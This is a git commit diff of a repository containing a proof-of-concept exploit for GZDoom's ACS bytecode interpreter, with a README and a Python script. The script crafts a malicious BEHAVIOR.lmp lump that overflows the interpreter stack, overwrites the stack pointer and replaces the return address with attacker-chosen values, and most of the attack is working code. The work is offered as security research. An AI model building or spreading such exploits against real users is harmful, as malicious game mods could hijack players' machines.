diff options
| author | Jakob L. Kreuze <jakob@memeware.net> | 2017-12-26 19:19:11 -0500 |
|---|---|---|
| committer | Jakob L. Kreuze <jakob@memeware.net> | 2017-12-26 19:19:11 -0500 |
| commit | 4211a84821e84cfe7848e32476510e2c768e3577 (patch) | |
| tree | 55b76805e67a4b4c143d44d98d231a36289f2e12 | |
Initial commit
| -rw-r--r-- | .gitignore | 1 | ||||
| -rw-r--r-- | README.md | 10 | ||||
| -rw-r--r-- | example.wad | bin | 0 -> 9286 bytes | |||
| -rw-r--r-- | exploit.py | 93 | ||||
| -rw-r--r-- | logo.png | bin | 0 -> 96456 bytes |
5 files changed, 104 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..096c96d --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +BEHAVIOR.lmp
\ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..e4191d4 --- /dev/null +++ b/README.md @@ -0,0 +1,10 @@ +![Bad BEHAVIOR][img_1] +## Proof of concept exploit and research by [Jakob.][1] + +Exploit of GZDoom's ACS interpreter, performing an out-of-bounds write with +maliciously-crafted ACS bytecode. + + +[1]: http://jakob.space/ + +[img_1]: https://raw.githubusercontent.com/TsarFox/bad-behavior/master/logo.png diff --git a/example.wad b/example.wad Binary files differnew file mode 100644 index 0000000..bc4d145 --- /dev/null +++ b/example.wad diff --git a/exploit.py b/exploit.py new file mode 100644 index 0000000..73635c8 --- /dev/null +++ b/exploit.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +import os +import struct +import sys + +# ACS File Format: +# CHUNK [4 bytes] +# SIZE (Excluding CHUNK and SIZE) [4 bytes] +# CONTENTS [SIZE bytes] + +# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte +# opcode size range and doesn't place anything onto the stack. + +STACK_SIZE = 0x1000 + +CODE_HEADER = [0x41, 0x43, 0x53, 0x00] +SCRIPTTAB_HEADER = [0x53, 0x50, 0x54, 0x52] +FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65] + +PCD_NOP = 0 +PCD_TERMINATE = 1 +PCD_PUSHNUMBER = 3 +PCD_ASSIGNSCRIPTVAR = 25 +PCD_PUSHBYTE = 167 +PCD_PUSHBYTES = 175 +PCD_PUSH5BYTES = 179 + +# assert(sp == 0) is only compiled in DEBUG builds. + +# You should probably throw some debug prints into the source code, +# finding the address of `Stack`, and the address of the return +# address on the stack. For me, `Stack` is at an offset of 4122 before +# the return address. + +# Scripts must be aligned to 32 bits. +def align_script(code: list) -> list: + padding_len = len(code) + (4 - (len(code) % 4)) + return code + [PCD_NOP * padding_len] + + +if __name__ == "__main__": + if len(sys.argv) != 3: + sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0])) + sys.exit(1) + + desired_offset = int(sys.argv[1]) + return_address = int(sys.argv[2]) + dest = "BEHAVIOR.lmp" + + # Smash stackobj.sp + payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2) + + # Overwrite stackobj.sp + payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset)) + + # Smash the return pointer + least_sig = list(struct.pack("Q", return_address))[:4] + most_sig = list(struct.pack("Q", return_address))[4:] + payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig + + payload.append(PCD_TERMINATE) + payload = align_script(payload) + + payload_len = len(payload) + 4 + + footer_table_off = payload_len + 32 # ?? + + + with open(dest, "wb+") as out: + # Write the code section. + out.write(bytes(CODE_HEADER)) + out.write(struct.pack("I", footer_table_off)) + out.write(bytes(payload)) + out.write(bytes([0x01, 0x00, 0x00, 0x00])) # Extra termination? + + # Write the Script Pointer Table + out.write(bytes(SCRIPTTAB_HEADER)) + # out.write(struct.pack("I", len(script_pointer_table))) + out.write(bytes([0x08, 0x00, 0x00, 0x00])) # ??? + out.write(bytes([0x01, 0x00])) # Script number + out.write(bytes([0x04, 0x00])) # ENTER + out.write(bytes([0x08, 0x00, 0x00, 0x00])) # Start offset + out.write(struct.pack("I", 0x08 + payload_len)) # End offset + + # Write footer table + out.write(bytes(FOOTTAB_HEADER)) + out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ??? + out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ??? + out.write(struct.pack("I", footer_table_off - 28)) # Offset to SPTR - 8? + out.write(bytes([0x00, 0x00, 0x00, 0x00])) # ??? + + # print("Enjoy :3") diff --git a/logo.png b/logo.png Binary files differnew file mode 100644 index 0000000..66ea3a3 --- /dev/null +++ b/logo.png |